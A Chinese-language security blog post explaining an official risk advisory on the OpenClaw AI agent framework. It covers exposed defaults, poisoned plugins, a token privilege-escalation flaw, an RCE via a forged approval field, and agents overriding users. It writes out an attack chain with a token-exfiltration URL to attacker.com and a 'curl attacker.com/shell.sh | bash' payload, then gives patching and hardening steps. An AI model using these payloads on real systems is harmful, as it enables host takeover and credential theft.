今天下午朋友圈被安全圈的同行刷屏了——国家网络与信息安全信息通报中心（以下简称“通报中心”）发布了一则关于OpenClaw的风险预警。说实话，看到这份通报的时候我倒吸了一口凉气。不是因为漏洞又多又严重，而是那份“90%实例可被直接攻击”的结论，意味着如果你正在用这个当红的AI智能体框架，大概率已经成了黑客的肉鸡。
OpenClaw是什么？如果你还没听过，简单来说它是一个开源的AI自动化工具，你可以把它理解成一个能听懂人话的“数字管家”——通过聊天窗口就能让它帮你发邮件、操作文件、甚至执行系统命令。这东西从去年年底开始爆火，全球活跃资产超过20万个，国内就有2.3万个，主要集中在北上广深。
但问题就出在这里：这款工具的设计理念是“先好用，再安全”。而今天这份官方通报，等于给所有“裸奔”上线的OpenClaw判了死刑。
一、官方通报说了什么？五个层面的“裸奔”
通报中心这次把OpenClaw的问题扒了个底朝天，总结下来是五个层面的系统性风险：
架构设计缺陷：层层皆可破
OpenClaw采用的是多层架构，从IM集成网关到智能体层，再到执行层，每一层都有漏洞。攻击者可以伪造消息绕过身份认证，可以通过多轮对话篡改AI的行为模式，而执行层因为直接和操作系统交互，一旦被控制就是主机沦陷。默认配置：开箱即“漏”
这是最致命的一点——OpenClaw默认绑定0.0.0.0:18789地址，而且允许所有外部IP访问，远程操作连账号密码都不用输。API密钥、聊天记录全是明文存储。公网暴露比例高达85%。也就是说，100个部署了OpenClaw的人里，有85个人连最基本的防火墙都没开。漏洞数量惊人：258个历史漏洞
其中近期曝光的82个漏洞里，超危12个、高危21个。主要类型是命令注入、路径遍历、访问控制缺失。利用难度普遍偏低。插件生态：供应链投毒的重灾区
官方插件市场ClawHub里的3016个技能插件，336个含有恶意代码，占比10.8%。还有17.7%的插件会加载不可信的第三方内容，2.9%的插件能在运行时从外部动态获取代码——这意味着攻击者可以随时远程修改你的AI要执行的逻辑。智能体行为失控：权限失控
OpenClaw的智能体在执行指令时可能发生“权限失控”——它会无视用户指令，擅自删除数据、窃取信息，甚至接管终端设备。
说白了，这就是一个为了追求功能强大而牺牲了所有安全底线的产品。
二、核心漏洞技术分析：攻击者是如何得手的？
通报里提到的“90%实例可被直接攻击”，对应的不只是某一个漏洞，而是一整套漏洞利用链。我梳理了其中两个已经被披露在野利用的典型漏洞，帮大家理解攻击者到底是怎么进来的。
- 令牌轮换越权漏洞（GHSA-4jpw-hj22-2xmc）
漏洞编号：GHSA-4jpw-hj22-2xmc（CVE待分配）
影响版本：<= 2026.3.8
修复版本：2026.3.11
CVSS评分：9.1（Critical）
技术原理： OpenClaw的访问控制依赖于“作用域（scope）”机制——不同的操作需要不同级别的token。正常情况下，你有一个“配对作用域”的token，就只能做设备配对，不能干别的。
但这个漏洞出在device.token.rotate这个接口上。它允许调用者传入一个目标作用域，然后基于目标设备已获批的作用域去生成新token。问题是——它没有检查调用者自己的作用域范围。
什么意思呢？假设你手里只有一个普通用户的token（只能配对设备），但你找到了一个已经获批了管理员权限的设备。通过调用这个接口，你可以直接给自己生成一个管理员token，不需要你自己拥有管理员权限。
实际危害： 一旦拿到管理员token，攻击者可以：
调用system.run在节点上执行任意系统命令
修改节点执行权限，让后续所有操作都免审批
即使没有节点，也能拿到网关的管理权限
- 远程代码执行漏洞（CVE-2026-28466）
漏洞编号：CVE-2026-28466
影响版本：< 2026.2.14
CVSS评分：9.8（Critical）
技术原理： 这个漏洞涉及OpenClaw的两个核心组件：
Gateway：消息中枢，负责管理所有通道和Agent
Node：终端设备，真正干活的地方（执行shell命令、操作文件等）
当Gateway调用node.invoke把任务发给Node时，整个过程是这样的：
客户端传参数给Gateway
Gateway原样转发给Node Registry
Node Registry序列化后直接发给Node
Node直接信任参数里的审批字段（比如approved: true）
问题就出在第4步。Node在执行命令前会检查“用户批了没”，但这个审批状态是从参数里读的，而且没有任何签名验证。攻击者只要在请求里加上approved: true，就能绕过所有审批和白名单校验，命令直接执行，用户连弹窗都看不到。
实际危害： 任意命令执行意味着攻击者可以：
读取/删除Node上的所有文件
窃取保存在本地的密码、密钥、聊天记录
以Node为跳板攻击内网其他机器
植入后门实现长期驻留
- 真实攻击链还原：一键RCE是怎么实现的
前面两个是漏洞原理，但真实的攻击链往往更“优雅”。有安全团队做过一个完整的攻击演示，让我给你拆解一下：
第一步：钓鱼页面（社会工程学）攻击者搭建一个看似人畜无害的网页，比如“OpenClaw插件市场”或者“AI配置助手”。诱导受害者点击链接。
第二步：令牌劫持这个页面里藏了一段JavaScript，它会自动访问：http://localhost:18789/?gatewayUrl=ws://attacker.com/steal注意，这是受害者的本地浏览器在访问本地的OpenClaw。但因为OpenClaw默认绑定0.0.0.0且不校验来源，这个请求成功了。 最关键的是——OpenClaw在连接WebSocket时，会从localStorage里取出认证token，直接发给gatewayUrl指定的那个服务器。
第三步：凭据收割攻击者的服务器收到这个WebSocket连接，里面包含了token。拿到token，攻击者就可以冒充受害者，直接从自己的机器连接受害者的OpenClaw。
第四步：远程命令执行攻击者用偷来的token认证，然后调用system.run接口，执行任意命令：
{
"type": "tool_execute",
"name": "system.run",
"parameters": {
"command": "curl http://attacker.com/shell.sh | bash",
"background": true
}
}
这个攻击链最可怕的地方在于：受害者什么都没做，只是打开了一个网页，自己的电脑就被控制了。
三、为什么90%的实例都可被攻击？
通报里提到的“90%”不是随便写的。结合官方数据和第三方统计，这个数字是有依据的：
公网暴露比例85%：默认配置导致绝大多数实例直接挂在公网上，扫描器一扫一个准。
默认无认证：很多人在内网部署觉得“没事”，但攻击者可以通过恶意网页（如上面的例子）从内网发起攻击。
版本滞后：根据GitHub的数据，截至3月15日，仍有超过60%的实例运行着存在已知漏洞的老版本。
插件投毒：10.8%的官方插件市场插件带毒，按平均每个用户安装5个插件计算，中招概率超过40%。
把这些因素综合起来，90%的实例存在至少一条可被直接利用的攻击路径，这个结论并不夸张。
四、修复与加固：现在该做什么？
如果你正在用OpenClaw，先别慌——时间还够，但窗口期不多了。按照以下步骤操作：
- 立即升级到最新版本
执行 openclaw update 升级到 >= 2026.3.11 的版本
如果无法在线升级，从官方GitHub Releases下载最新安装包手动覆盖
版本对照表：
漏洞
影响版本
修复版本
令牌轮换越权(GHSA-4jpw-hj22-2xmc)
<= 2026.3.8
2026.3.11
代理模式绕过(CVE-2026-32302)
< 2026.3.11
2026.3.11
RCE(CVE-2026-28466)
< 2026.2.14
2026.2.14
gatewayUrl令牌泄漏(CVE-2026-25253)
< 2026.1.29
2026.1.29
- 修改默认配置
不要绑定0.0.0.0：改为只监听127.0.0.1
启用身份认证：设置强密码并开启MFA（如果支持）
关闭不必要端口：只保留18789，其他全关
HTTPS/WSS加密：如果用反向代理，务必配置TLS - 检查插件安全
执行以下命令审计已安装的插件：
openclaw plugin list --verbose
重点关注：
近期安装的可疑插件
权限请求过多的插件（如同时请求文件系统、网络、命令执行）
从未知来源安装的插件
建议暂时禁用所有第三方插件，只保留官方核心插件。
- 审计历史日志
检查Node主机上是否存在可疑的system.run调用记录，重点关注：
请求中直接包含approved: true的执行记录
来自非常用IP的连接
非工作时间的异常操作
- 最小权限运行
OpenClaw的Node进程不要用root或管理员账户运行。创建一个专用系统账户，只赋予必要的文件读写权限。
五、安全思考：AI工具的安全责任谁来负？
这次OpenClaw事件，表面看是技术漏洞，背后其实是一个更深层的问题：当AI工具的能力越来越强，安全底线应该由谁来守？
通报里有一段话说得很直白：
如果用户因为产品本身的设计缺陷、已知却没修复的漏洞，出现了数据泄露、财产损失，开发者和运营者必然要承担对应的法律责任，没法用“用户自己没做好配置”来完全甩锅。
这句话的法律依据是《网络安全法》第二十二条：网络产品、服务的提供者不得设置恶意程序；发现其网络产品、服务存在安全缺陷、漏洞等风险时，应当立即采取补救措施，按照规定及时告知用户并向有关主管部门报告。
OpenClaw的开发团队在近期的更新中确实在努力修复漏洞——3月7日、3月8日、3月11日连续发布安全更新。但问题是，如果一个产品的默认配置本身就是“不安全”的，那让用户去承担加固的责任，这公平吗？
结语
写这篇文章的时候，我又刷了一遍OpenClaw的GitHub仓库。issue区里有人在问：“为什么更新这么频繁？是不是代码质量不行？”也有人回复：“总比不更新强。”
我想说的是，漏洞不可怕，可怕的是漏洞背后的系统性忽视。今天OpenClaw被通报的这五个问题——架构缺陷、默认配置风险、漏洞数量多、供应链投毒、行为管控难——几乎涵盖了软件安全的所有维度。这已经不是修一两个bug能解决的问题，而是需要从设计理念上重新思考。
如果你是OpenClaw用户：今晚就升级，明天开始排查。
如果你是AI工具的开发者：把“安全默认”写进你的产品需求文档，别让用户替你背锅。
如果你是普通网友：谨慎对待任何“开箱即用”的AI工具，尤其是那些宣称能帮你“自动化一切”的。因为“自动化”的另一面，往往是“自动被黑”。
毕竟，当一个工具强大到可以替你执行命令的时候，它离可以替攻击者执行命令，也只有一步之遥。
